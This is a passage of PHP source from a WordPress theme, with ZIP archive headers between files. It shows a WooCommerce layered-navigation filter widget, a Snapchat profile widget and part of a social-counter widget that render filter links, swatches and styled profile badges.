		 * Show list based layered nav.
		 *
		 * @param array $terms
		 * @param string $taxonomy
		 * @param string $query_type
		 *
		 * @return bool Will nav display?
		 */
		protected function layered_nav_list( $terms, $taxonomy, $query_type, $instance ) {
			$labels            = isset( $instance['labels'] ) ? $instance['labels'] : 'on';
			$count             = isset( $instance['count'] ) ? $instance['count'] : 'on';
			$tooltips          = isset( $instance['tooltips'] ) ? $instance['tooltips'] : 'off';
			$size              = isset( $instance['size'] ) ? $instance['size'] : 'normal';
			$display           = isset( $instance['display'] ) ? $instance['display'] : 'list';
			$scroll_for_widget = get_theme_mod( 'penci_woo_widgets_scroll', true );

			$is_brand = ( get_theme_mod( 'penci_woo_brands_attribute' ) == $taxonomy );

			$class = 'show-labels-' . $labels;
			$class .= ' show-count-' . $count;
			$class .= ' swatches-' . $size;
			$class .= ' swatches-display-' . $display;
			$class .= ( $is_brand ) ? ' swatches-brands' : '';
			// List display
			if ( $scroll_for_widget ) {
				echo '<div class="penci-scroll">';
				$class .= ' penci-scroll-content';
			}
			echo '<ul class="' . esc_attr( $class ) . '">';

			//WC 3.6.0
			if ( function_exists( 'WC' ) && version_compare( WC()->version, '3.6.0', '<' ) ) {
				$term_counts = $this->get_filtered_term_product_counts( wp_list_pluck( $terms, 'term_id' ), $taxonomy, $query_type );
			} else {
				$term_counts = $this->get_filtered_term_product_counts_new( wp_list_pluck( $terms, 'term_id' ), $taxonomy, $query_type );
			}

			$_chosen_attributes = WC_Query::get_layered_nav_chosen_attributes();
			$found              = false;

			foreach ( $terms as $term ) {
				$current_values = isset( $_chosen_attributes[ $taxonomy ]['terms'] ) ? $_chosen_attributes[ $taxonomy ]['terms'] : array();
				$option_is_set  = in_array( $term->slug, $current_values );
				$count          = isset( $term_counts[ $term->term_id ] ) ? $term_counts[ $term->term_id ] : 0;

				// skip the term for the current archive
				if ( $this->get_current_term_id() === $term->term_id ) {
					continue;
				}

				// Only show options with count > 0
				if ( 0 < $count ) {
					$found = true;
				} elseif ( 0 === $count && ! $option_is_set ) {
					continue;
				}

				$filter_name    = 'filter_' . sanitize_title( str_replace( 'pa_', '', $taxonomy ) );
				$current_filter = isset( $_GET[ $filter_name ] ) ? explode( ',', wc_clean( $_GET[ $filter_name ] ) ) : array();
				$current_filter = array_map( 'sanitize_title', $current_filter );


				if ( ! in_array( $term->slug, $current_filter ) ) {
					$current_filter[] = $term->slug;
				}

				$base_link = $this->get_page_base_url();
				$link      = remove_query_arg( $filter_name, $base_link );

				// Add current filters to URL.
				foreach ( $current_filter as $key => $value ) {
					// Exclude query arg for current term archive term.
					if ( $value === $this->get_current_term_slug() ) {
						unset( $current_filter[ $key ] );
					}

					// Exclude self so filter can be unset on click.
					if ( $option_is_set && $value === $term->slug ) {
						unset( $current_filter[ $key ] );
					}
				}

				if ( ! empty( $current_filter ) ) {
					asort( $current_filter );
					$link = add_query_arg( $filter_name, implode( ',', $current_filter ), $link );

					// Add Query type Arg to URL.
					if ( 'or' === $query_type && ! ( 1 === count( $current_filter ) && $option_is_set ) ) {
						$link = add_query_arg( 'query_type_' . wc_attribute_taxonomy_slug( $taxonomy ), 'or', $link );
					}

					$link = apply_filters( 'penci_woo_filter_link', $link );

					$link = str_replace( '%2C', ',', $link );

				}

				// Add swatches block
				$swatch_div   = $swatch_style = $swatch_img = '';
				$swatch_color = get_term_meta( $term->term_id, 'color', true );
				$swatch_image = get_term_meta( $term->term_id, 'image', true );
				$swatch_text  = get_term_meta( $term->term_id, 'not_dropdown', true );

				$class = $option_is_set ? 'chosen' : '';

				if ( ! empty( $swatch_color ) ) {
					$class        .= ' with-swatch-color';
					$swatch_style = 'background-color: ' . $swatch_color . ';';
				}

				if ( ! empty( $swatch_image ) ) {
					$class      .= ' with-swatch-image';
					$swatch_img = wp_get_attachment_image( $swatch_image, 'full' );
				}

				if ( ! empty( $swatch_text ) ) {
					$class .= ' with-swatch-text';
				}

				if ( ! empty( $swatch_style ) ) {
					$swatch_div = '<span style="' . $swatch_style . '" class="' . ( ( $tooltips == 'on' ) ? 'penci-tooltip' : '' ) . '">' . $swatch_img . esc_html( $term->name ) . '</span>';
				}
				// END swatches customization

				echo '<li class="wc-layered-nav-term ' . esc_attr( $class ) . '">';

				echo ( true == $option_is_set || $count > 0 ) ? '<a rel="nofollow noopener" href="' . esc_url( apply_filters( 'woocommerce_layered_nav_link', $link ) ) . '" class="layered-nav-link">' : '<span>';

				echo '<span class="swatch-inner">';

				if ( $swatch_div ) {
					echo '<span class="filter-swatch">' . $swatch_div . '</span>';
				}

				echo '<span data-tippy-content="' . esc_html( $term->name ) . '" class="layer-term-name ' . ( ( $tooltips == 'on' ) ? 'penci-tooltip' : '' ) . '">' . $swatch_img . '<span class="term_name">' . esc_html( $term->name ) . '</span>' . '</span>';

				echo '</span>';

				echo ( true == $option_is_set || $count > 0 ) ? '</a>' : '</span>';

				echo ' <span class="count">(' . absint( $count ) . ')</span></li>';
			}

			echo '</ul>';
			if ( $scroll_for_widget ) {
				echo '</div>';
			}

			return $found;
		}

		protected function layered_nav_checkbox_list( $terms, $taxonomy, $query_type, $instance ) {
			$query_type  = isset( $instance['query_type'] ) ? $instance['query_type'] : 'and';
			$title       = isset( $instance['filter-title'] ) ? $instance['filter-title'] : esc_html__( 'Filter by', 'soledad' );
			$labels      = $instance['labels'] ? 'on' : 'off';
			$count       = $instance['count'] ? 'on' : 'off';
			$size        = isset( $instance['size'] ) ? $instance['size'] : 'normal';
			$categories  = isset( $instance['categories'] ) ? $instance['categories'] : array();
			$is_on_shop  = is_shop() || is_product_taxonomy();
			$current_cat = get_queried_object();

			if ( isset( $categories[0] ) && $categories[0] && ! in_array( $current_cat->term_id, $categories ) && $is_on_shop ) {
				return;
			}

			$is_brand = ( get_theme_mod( 'penci_woo_brands_attribute' ) == $taxonomy );

			$classes      = ' show-labels-' . $labels;
			$classes      .= ' show-count-' . $count;
			$classes      .= ' swatches-' . $size;
			$classes      .= ( $is_brand ) ? ' swatches-brands' : '';
			$multi_select = ( $query_type == 'or' ) ? ' multi_select' : '';

			$taxonomy_filter_name = str_replace( 'pa_', '', $taxonomy );
			$current_value        = isset( $_GET[ 'filter_' . $taxonomy_filter_name ] ) ? sanitize_text_field( $_GET[ 'filter_' . $taxonomy_filter_name ] ) : '';

			if ( $is_on_shop ) {
				//WC 3.6.0
				if ( function_exists( 'WC' ) && version_compare( WC()->version, '3.6.0', '<' ) ) {
					$term_counts = $this->get_filtered_term_product_counts( wp_list_pluck( $terms, 'term_id' ), $taxonomy, $query_type );
				} else {
					$term_counts = $this->get_filtered_term_product_counts_new( wp_list_pluck( $terms, 'term_id' ), $taxonomy, $query_type );
				}
			}

			$_chosen_attributes = WC_Query::get_layered_nav_chosen_attributes();
			$found              = false;

			echo '<div class="penci-pf-checkboxes penci-pf-attributes' . esc_attr( $multi_select ) . '">';
			echo '<input class="result-input" name="filter_' . esc_attr( $taxonomy_filter_name ) . '" type="hidden" value="' . esc_attr( $current_value ) . '">';
			if ( $query_type == 'or' ) {
				echo '<input name="query_type_' . esc_attr( $taxonomy_filter_name ) . '" type="hidden" value="' . esc_attr( $query_type ) . '">';
			}
			echo '<div class="penci-pf-title"><span class="title-text">' . esc_html( $title ) . '</span><ul class="penci-pf-results"></ul></div>';
			echo '<div class="penci-pf-dropdown penci-scroll">';
			echo '<ul class="penci-scroll-content' . esc_attr( $classes ) . '">';
			foreach ( $terms as $term ) {
				$current_values = isset( $_chosen_attributes[ $taxonomy ]['terms'] ) ? $_chosen_attributes[ $taxonomy ]['terms'] : array();
				$option_is_set  = in_array( $term->slug, $current_values );
				$count          = isset( $term_counts[ $term->term_id ] ) ? $term_counts[ $term->term_id ] : 0;

				// Only show options with count > 0
				if ( $is_on_shop ) {
					if ( 0 < $count ) {
						$found = true;
					} elseif ( 0 === $count && ! $option_is_set ) {
						continue;
					}
				}

				// Add swatches block
				$swatch_div   = $swatch_style = '';
				$swatch_color = get_term_meta( $term->term_id, 'color', true );
				$swatch_image = get_term_meta( $term->term_id, 'image', true );
				$swatch_text  = get_term_meta( $term->term_id, 'label', true );

				$class = $option_is_set ? ' pf-active' : '';

				if ( ! empty( $swatch_color ) ) {
					$class        .= ' with-swatch-color';
					$swatch_style = 'background-color: ' . $swatch_color . ';';
				}

				if ( ! empty( $swatch_image ) ) {
					$class        .= ' with-swatch-image';
					$swatch_style = 'background-image: url(' . wp_get_attachment_image_url( $swatch_image, 'full' ) . ');';
				}

				if ( ! empty( $swatch_text ) ) {
					$class .= ' with-swatch-text';
				}

				if ( ! empty( $swatch_style ) ) {
					$swatch_div = '<span style="' . $swatch_style . '" class="' . ( ( $labels == 'off' ) ? 'penci-tooltip' : '' ) . '">' . esc_html( $term->name ) . '</span>';
				}
				// END swatches customization

				echo '<li class="penci-pf-' . esc_attr( $term->slug ) . esc_attr( $class ) . '">';
				echo '<span class="swatch-inner pf-value" data-val="' . esc_attr( wc_attribute_taxonomy_slug( $term->slug ) ) . '" data-title="' . esc_attr( $term->name ) . '">';
				if ( $swatch_div ) {
					echo '<span class="filter-swatch">' . $swatch_div . '</span>';
				}
				echo '<span class="layer-term-name ' . ( ( $instance['tooltips'] == 'on' ) ? 'penci-tooltip' : '' ) . '">' . esc_html( $term->name ) . '</span>';
				echo '</span>';
				echo '</li>';
			}
			echo '</ul>';
			echo '</div>';
			echo '</div>';

			if ( ! $is_on_shop ) {
				$found = true;
			}

			return $found;
		}

		function form( $instance ) {
			parent::form( $instance );
		}

	}

	add_action( 'widgets_init', function () {
		register_widget( 'Penci_Product_Filter' );
	} );

}
PK     2w\bMp!  !    widgets/snapchat.phpnu [        <?php

add_action( 'widgets_init', 'penci_snapchat_load_widget' );

function penci_snapchat_load_widget() {
	register_widget( 'penci_snapchat_widget' );
}

if ( ! class_exists( 'penci_snapchat_widget' ) ) {
	class penci_snapchat_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_snapchat_widget',
				'description' => esc_html__( 'A widget that displays the Snapchat account information.', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'width' => 250, 'height' => 350, 'id_base' => 'penci_snapchat_widget' );

			/* Create the widget. */ global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_snapchat_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Snapchat', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_snapchat_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Snapchat', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title = isset( $instance['title'] ) ? $instance['title'] : '';
			$title = apply_filters( 'widget_title', $title );
			$style = isset( $instance['style'] ) && $instance['style'] ? $instance['style'] : 'rounded';


			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
			}

			if ( ! empty( $instance['username'] ) && ! empty( $instance['userid'] ) && ! empty( $instance['avatar'] ) ) {
				$avatar_size  = ! empty( $instance['avatar_size'] ) ? 'background-size:' . $instance['avatar_size'] . 'px;width:' . $instance['avatar_size'] . 'px;height:' . $instance['avatar_size'] . 'px;' : 'background-size:60px;width:60px;height:60px;';
				$class        = ! empty( $instance['style'] ) ? 'is-' . $instance['style'] : 'is-rounded';
				$imgstyle     = ! empty( $instance['bgstyle'] ) ? $instance['bgstyle'] : 'flat';
				$userid       = str_replace( '@', '', $instance['userid'] );
				$bghtmlbg_src = 'data-bgset="' . PENCI_SOLEDAD_URL . '/images/snapchat_' . $imgstyle . '.png"';
				$bghtml_src   = 'data-bgset="' . $instance['avatar'] . '"';

				?>

                <div class="pc-snapchat-wrapper">
                    <a href="https://snapchat.com/add/<?php echo $userid ?>" rel="external noopener nofollow">
						<span class="pc-snapchat-badge <?php echo $class ?>">
                            <span class="pc-snapchat-badge-over penci-image-holder penci-lazy" <?php echo $bghtmlbg_src; ?>></span>
                            <span class="pc-snapchat-avatar penci-image-holder penci-lazy" <?php echo $bghtml_src; ?> style="<?php echo $avatar_size; ?>"></span>
						</span>
                        <span class="pc-snapchat-name"><?php echo $instance['username'] ?></span>
                        <span class="pc-snapchat-id">@<?php echo $userid ?></span>
                    </a>
                </div>
				<?php
			} else {
				echo __( 'Enter the required account info.', 'soledad' );
			}

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			return array(
				'title'       => esc_html__( 'Follow Me', 'soledad' ),
				'username'    => '',
				'userid'      => '',
				'avatar'      => '',
				'avatar_size' => '',
				'style'       => '',
				'bgstyle'     => '',
			);
		}


		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults       = $this->soledad_widget_defaults();
			$instance       = wp_parse_args( (array) $instance, $defaults );
			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo esc_attr( $instance_title ); ?>" class="widefat" type="text"/>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'username' ) ); ?>"><?php esc_html_e( 'Account Name', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'username' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'username' ) ); ?>"
                       value="<?php echo esc_attr( $instance['username'] ); ?>" class="widefat" type="text"/>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'userid' ) ); ?>"><?php esc_html_e( 'ID', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'userid' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'userid' ) ); ?>"
                       value="<?php echo esc_attr( $instance['userid'] ); ?>" class="widefat" type="text"/>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'avatar' ) ); ?>"><?php esc_html_e( 'Avatar Image URL', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'avatar' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'avatar' ) ); ?>"
                       value="<?php echo esc_attr( $instance['avatar'] ); ?>" class="widefat" type="text"
                       placeholder="https://"/>
                <small>Insert your Avatar Image URL. To get good for load, let use image about 500px width.<br>You can
                    check <a
                            href="https://www.wpbeginner.com/beginners-guide/how-to-get-the-url-of-images-you-upload-in-wordpress/"
                            target="_blank" rel="noreferrer noopener">this guide</a> to know how to get URL of an image
                    you upload.</small>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'avatar_size' ) ); ?>"><?php esc_html_e( 'Avatar size (px)', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'avatar_size' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'avatar_size' ) ); ?>"
                       value="<?php echo esc_attr( $instance['avatar_size'] ); ?>" class="widefat" type="number"
                       placeholder=""/>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'style' ) ); ?>"><?php esc_html_e( 'Style', 'soledad' ) ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'style' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'style' ) ); ?>" class="widefat">
                    <option value="rounded" <?php selected( $instance['style'], 'rounded' ); ?>><?php esc_html_e( 'Rounded', 'soledad' ) ?></option>
                    <option value="circle" <?php selected( $instance['style'], 'circle' ); ?>><?php esc_html_e( 'Circle', 'soledad' ) ?></option>
                </select>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'bgstyle' ) ); ?>"><?php esc_html_e( 'Background Style', 'soledad' ) ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'bgstyle' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'bgstyle' ) ); ?>" class="widefat">
                    <option value="flat" <?php selected( $instance['bgstyle'], 'flat' ); ?>><?php esc_html_e( 'Flat', 'soledad' ) ?></option>
                    <option value="dots" <?php selected( $instance['bgstyle'], 'dots' ); ?>><?php esc_html_e( 'Dots', 'soledad' ) ?></option>
                </select>
            </p>

			<?php
		}
	}
}
?>
PK     2w\@_  _    widgets/social_counter.phpnu [        <?php

class Soledad_Social_Counter extends WP_Widget {

	/**
	 * Sets up the widgets name etc
	 */
	public function __construct() {
		$widget_ops = array(
			'classname'   => 'penci_social_counter',
			'description' => 'Show social counter data.',
		);
		parent::__construct( 'penci_social_counter', penci_get_theme_name( '.Soledad', true ) . 'Social Counter', $widget_ops );
		add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_scripts' ) );
		add_action( 'admin_footer-widgets.php', array( $this, 'print_scripts' ), 9999 );
	}

	/**
	 * Outputs the content of the widget
	 *
	 * @param array $args
	 * @param array $instance
	 */
	public function widget( $args, $instance ) {
		$title                  = isset( $instance['title'] ) && $instance['title'] ? $instance['title'] : '';
		$title                  = apply_filters( 'widget_title', $title );
		$social_style           = isset( $instance['style'] ) && $instance['style'] ? $instance['style'] : 's1';
		$column                 = isset( $instance['columns'] ) && $instance['columns'] ? $instance['columns'] : '1';
		$fill                   = ! empty( $instance['fill'] ) ? $instance['fill'] : 'fill';
		$shape                  = ! empty( $instance['shape'] ) ? $instance['shape'] : 'rectangle';
		$tab_column             = ! empty( $instance['tab_column'] ) ? $instance['tab_column'] : '1';
		$mobile_column          = ! empty( $instance['mobile_column'] ) ? $instance['mobile_column'] : '1';
		$color_style            = ! empty( $instance['color_style'] ) ? $instance['color_style'] : 'custom';
		$hide_count             = ! empty( $instance['hide_count'] ) ? $instance['hide_count'] : '';
		$counter_item_icon_size = ! empty( $instance['counter_item_icon_size'] ) ? $instance['counter_item_icon_size'] : '';
		$bgcl                   = ! empty( $instance['bgcl'] ) ? $instance['bgcl'] : '';
		$hbgcl                  = ! empty( $instance['hbgcl'] ) ? $instance['hbgcl'] : '';
		$bordercl               = ! empty( $instance['hbgcl'] ) ? $instance['bordercl'] : '';
		$borderhcl              = ! empty( $instance['borderhcl'] ) ? $instance['borderhcl'] : '';
		$textcl                 = ! empty( $instance['textcl'] ) ? $instance['textcl'] : '';
		$texthcl                = ! empty( $instance['texthcl'] ) ? $instance['texthcl'] : '';
		$countcl                = ! empty( $instance['countcl'] ) ? $instance['countcl'] : '';
		$counthcl               = ! empty( $instance['counthcl'] ) ? $instance['counthcl'] : '';
		$fanscl                 = ! empty( $instance['fanscl'] ) ? $instance['fanscl'] : '';
		$fanshcl                = ! empty( $instance['fanshcl'] ) ? $instance['fanshcl'] : '';
		$followcl               = ! empty( $instance['followcl'] ) ? $instance['followcl'] : '';
		$followhcl              = ! empty( $instance['followhcl'] ) ? $instance['followhcl'] : '';
		$hospace                = ! empty( $instance['hospace'] ) ? $instance['hospace'] : '';
		$verspace               = ! empty( $instance['verspace'] ) ? $instance['verspace'] : '';
		$use_shadow             = ! empty( $instance['use_shadow'] ) ? $instance['use_shadow'] : 'no';
		$countersize            = ! empty( $instance['countersize'] ) ? $instance['countersize'] : '';
		$fansize                = ! empty( $instance['fansize'] ) ? $instance['fansize'] : '';
		$source                 = ! empty( $instance['source'] ) ? $instance['source'] : 'counter';
		$id                     = wp_rand( 0, 9999999 );

		echo '<style>';
		$id_social_counter = '.widget.penci_social_counter #penci-sct-' . $id;
		if ( $counter_item_icon_size ) {
			echo $id_social_counter . ' .pcsoc-icon i{font-size:' . $counter_item_icon_size . 'px}';
			echo $id_social_counter . ' .pcsoc-icon pcsocs-s3 i{line-height:' . $counter_item_icon_size . 'px}';
		}
		if ( $bgcl ) {
			echo $id_social_counter . ' .pcsocs-s1 .pcsoc-item,' . $id_social_counter . ' .pcsocs-s2 .pcsoc-icon,.pcsocs-s3 .pcsoc-item,' . $id_social_counter . ' .pcsocs-s4 .pcsoc-icon{background-color:' . $bgcl . '}';
		}
		if ( $hbgcl ) {
			echo $id_social_counter . ' .pcsocs-s1 .pcsoc-item:hover,' . $id_social_counter . ' .pcsocs-s2 .pcsoc-item:hover .pcsoc-icon,' . $id_social_counter . ' .pcsocs-s3 .pcsoc-item:hover,' . $id_social_counter . ' .pcsocs-s4 .pcsoc-item:hover .pcsoc-icon{background-color:' . $hbgcl . '}';
		}
		if ( $bordercl ) {
			echo $id_social_counter . ' .pcsocs-s1 .pcsoc-item,' . $id_social_counter . ' .pcsocs-s2 .pcsoc-icon,' . $id_social_counter . ' .pcsocs-s3 .pcsoc-item,' . $id_social_counter . ' .pcsocs-s4 .pcsoc-icon{border-color:' . $bordercl . '}';
		}
		if ( $borderhcl ) {
			echo $id_social_counter . ' .pcsocs-s1 .pcsoc-item:hover,' . $id_social_counter . ' .pcsocs-s2 .pcsoc-item:hover .pcsoc-icon,' . $id_social_counter . ' .pcsocs-s3 .pcsoc-item:hover,' . $id_social_counter . ' .pcsocs-s4 .pcsoc-item:hover .pcsoc-icon{border-color:' . $borderhcl . '}';
		}
		if ( $textcl ) {
			echo $id_social_counter . ' .pcsoc-item i{color:' . $textcl . '}';
		}
		if ( $texthcl ) {
			echo $id_social_counter . ' .pcsoc-item:hover i{color:' . $texthcl . '}';
		}
		if ( $countcl ) {
			echo $id_social_counter . ' .pcsoc-counter{color:' . $countcl . '}';
		}
		if ( $counthcl ) {
			echo $id_social_counter . ' .pcsoc-item:hover .pcsoc-counter{color:' . $counthcl . '}';
		}
		if ( $fanscl ) {
			echo $id_social_counter . ' .pcsoc-item .pcsoc-fan{color:' . $fanscl . '}';
		}
		if ( $fanshcl ) {
			echo $id_social_counter . ' .pcsoc-item:hover .pcsoc-fan{color:' . $fanshcl . '}';
		}
		if ( $followcl ) {
			echo $id_social_counter . ' .pcsoc-item .pcsoc-like{color:' . $followcl . '}';
		}
		if ( $followhcl ) {
			echo $id_social_counter . ' .pcsoc-item:hover .pcsoc-like{color:' . $followhcl . '}';
		}
		if ( $hospace ) {
			echo $id_social_counter . ' .pcsoc-wrapper{--pcsoc-space:' . $hospace . 'px}';
		}
		if ( $verspace ) {
			echo $id_social_counter . ' .pcsoc-wrapper{--pcsoc-bspace:' . $verspace . 'px}';
		}
		if ( $countersize ) {
			echo $id_social_counter . ' .pcsoc-counter{font-size:' . $countersize . 'px}';
		}
		if ( $fansize ) {
			echo $id_social_counter . ' .pcsoc-item .pcsoc-fan,' . $id_social_counter . ' .pcsoc-item .pcsoc-like{font-size:' . $fansize . 'px}';
		}
		echo '</style>';

		$wrapper_class = 'pcsoc-wrapper';
		$social_style  = isset( $social_style ) && $social_style && in_array(
			$social_style,
			array(
				's1',
				's2',
				's3',
				's4',
			)
		) ? $social_style : 's1';
		$fill          = $fill ? $fill : 'border';
		$shape         = $shape ? $shape : 'rectangle';
		$color_style   = $color_style ? $color_style : 'custom';
		$brand_class   = $brand_class_icon = '';
		if ( in_array( $social_style, array( 's2', 's4' ) ) ) {
			$brand_class_icon = ' pcsc-brandflag';
		} elseif ( in_array( $social_style, array( 's1', 's3' ) ) ) {
			$brand_class = ' pcsc-brandflag';
		}

		$wrapper_class .= ' pcsocs-' . $social_style;
		$wrapper_class .= ' pcsocf-' . $fill;
		$wrapper_class .= ' pcsocs-' . $shape;
		$wrapper_class .= ' pcsoccl-' . $color_style;

		if ( 'yes' == $use_shadow ) {
			$wrapper_class .= ' pcsocshadow';
		}

		if ( 's4' != $social_style ) {
			$column_default        = $social_style == 's3' ? '3' : '1';
			$column                = $column ? $column : $column_default;
			$tab_column_default    = $social_style == 's3' ? 'default' : '1';
			$mobile_column_default = $social_style == 's3' ? '2' : '1';
			$tab_column            = $tab_column ? $tab_column : $tab_column_default;
			$mobile_column         = $mobile_column ? $mobile_column : $mobile_column_default;
			$wrapper_class        .= ' pcsocc-' . $column;
			$wrapper_class        .= ' pcsocc-tabcol-' . $tab_column;
			$wrapper_class        .= ' pcsocc-mocol-' . $mobile_column;
		}

		echo $args['before_widget'];
		if ( $title ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}

		?>
		<div class="pcsoc-wrapper-outside source-<?php echo esc_attr( $source ); ?>"
			id="<?php echo 'penci-sct-' . $id; ?>">
			<div class="<?php echo $wrapper_class; ?>">
				<?php

				if ( 'counter' == $source ) {
					$socials = array(
						'facebook',
						'twitter',
						'youtube',
						'instagram',
						'pinterest',
						'flickr',
						'vimeo',
						'soundcloud',
						'behance ',
						'vk',
						'tiktok',
						'twitch',
						'rss',
					);
					foreach ( $socials as $social ) {

						if ( empty( $instance[ $social ] ) ) {
							continue;
						}

						$social_info = \PENCI_FW_Social_Counter::get_social_counter( $social );

						$social_info_name = isset( $social_info['name'] ) && $social_info['name'] ? $social_info['name'] : '';

						if ( ! $social_info || ! $social_info_name ) {
							continue;
						}

						if ( strpos( $social_info['count'], '.' ) !== false ) {
							$count = $social_info['count'];
						} else {
							$count = \PENCI_FW_Social_Counter::format_followers( $social_info['count'] );
						}

						$count = $count ? $count : '';

						$social_icon     = $social_info['icon'];
						$social_follower = isset( $social_info['text_below'] ) && $social_info['text_below'] ? $social_info['text_below'] : '';
						$social_follow   = isset( $social_info['text_btn'] ) && $social_info['text_btn'] ? $social_info['text_btn'] : '';
						$social_url      = isset( $social_info['url'] ) && $social_info['url'] ? $social_info['url'] : '';
						?>
						<div class="pcsoc-item-wrap">
							<a class="pcsoc-item pcsoci-<?php echo $social . $brand_class; ?>
																	<?php
																	if ( ! $count ) {
																		echo ' empty-count';
																	}
																	?>
							" href="<?php echo esc_url( $social_url ); ?>"
								target="_blank" <?php echo penci_reltag_social_icons(); ?>>
								<span class="pcsoc-icon pcsoci-<?php echo $social . $brand_class_icon; ?>"><?php echo $social_icon; ?></span>
								<?php if ( $count && 'yes' != $hide_count ) { ?>
									<span class="pcsoc-counter"><?php echo $count; ?></span>
									<span class="pcsoc-fan"><?php echo $social_follower; ?></span>
								<?php } else { ?>
									<span class="pcsoc-counter pcsoc-socname"><?php echo $social; ?></span>
								<?php } ?>
								<?php if ( in_array( $social_style, array( 's1', 's2' ) ) ) { ?>
									<span class="pcsoc-like"><?php echo $social_follow; ?></span>
								<?php } ?>
							</a>
						</div>
						<?php
					}
				} else {
					$socials = penci_social_media_array();
					foreach ( $socials as $social => $sdata ) {

						if ( empty( $instance[ 'profile_' . $social ] ) ) {
							continue;
						}

						$social_icon   = penci_icon_by_ver( $sdata[1] );
						$social_follow = penci_get_setting( 'follow' );
						$social_url    = esc_url( do_shortcode( $sdata[0] ) );

						$custom_social_icons = get_option( 'penci_custom_socials', array() );
						$name                = isset( $custom_social_icons[ $social ]['name'] ) ? $custom_social_icons[ $social ]['name'] : $social;
						?>
						<div class="pcsoc-item-wrap">
							<a class="pcsoc-item pcsoci-<?php echo $social . $brand_class; ?> empty-count"
								href="<?php echo esc_url( $social_url ); ?>"
								target="_blank" <?php echo penci_reltag_social_icons(); ?>>
								<span class="pcsoc-icon pcsoci-<?php echo $social . $brand_class_icon; ?>"><?php echo $social_icon; ?></span>
								<span class="pcsoc-counter pcsoc-socname"><?php echo $name; ?></span>
								<?php if ( in_array( $social_style, array( 's1', 's2' ) ) ) { ?>
									<span class="pcsoc-like"><?php echo $social_follow; ?></span>
								<?php } ?>
							</a>
						</div>
						<?php
					}
				}
				?>
			</div>
		</div>
		<?php
		echo $args['after_widget'];
	}

	/**
	 * Outputs the options form on admin
	 *
	 * @param array $instance The widget options
	 */
	public function form( $instance ) {
		$title                  = ! empty( $instance['title'] ) ? $instance['title'] : esc_html__( 'Social Counter', 'soledad' );
		$social_lists           = $this->social_lists();
		$style                  = ! empty( $instance['style'] ) ? $instance['style'] : 's1';
		$fill                   = ! empty( $instance['fill'] ) ? $instance['fill'] : 'fill';
		$shape                  = ! empty( $instance['shape'] ) ? $instance['shape'] : 'rectangle';
		$columns                = ! empty( $instance['columns'] ) ? $instance['columns'] : '1';
		$tab_column             = ! empty( $instance['tab_column'] ) ? $instance['tab_column'] : '';
		$mobile_column          = ! empty( $instance['mobile_column'] ) ? $instance['mobile_column'] : '';
		$color_style            = ! empty( $instance['color_style'] ) ? $instance['color_style'] : 'custom';
		$hospace                = ! empty( $instance['hospace'] ) ? $instance['hospace'] : '';
		$verspace               = ! empty( $instance['verspace'] ) ? $instance['verspace'] : '';
		$counter_item_icon_size = ! empty( $instance['counter_item_icon_size'] ) ? $instance['counter_item_icon_size'] : '';
		$bgcl                   = ! empty( $instance['bgcl'] ) ? $instance['bgcl'] : '';
		$hbgcl                  = ! empty( $instance['hbgcl'] ) ? $instance['hbgcl'] : '';
		$bordercl               = ! empty( $instance['hbgcl'] ) ? $instance['bordercl'] : '';
		$borderhcl              = ! empty( $instance['borderhcl'] ) ? $instance['borderhcl'] : '';
		$textcl                 = ! empty( $instance['textcl'] ) ? $instance['textcl'] : '';
		$texthcl                = ! empty( $instance['texthcl'] ) ? $instance['texthcl'] : '';
		$countcl                = ! empty( $instance['countcl'] ) ? $instance['countcl'] : '';
		$counthcl               = ! empty( $instance['counthcl'] ) ? $instance['counthcl'] : '';
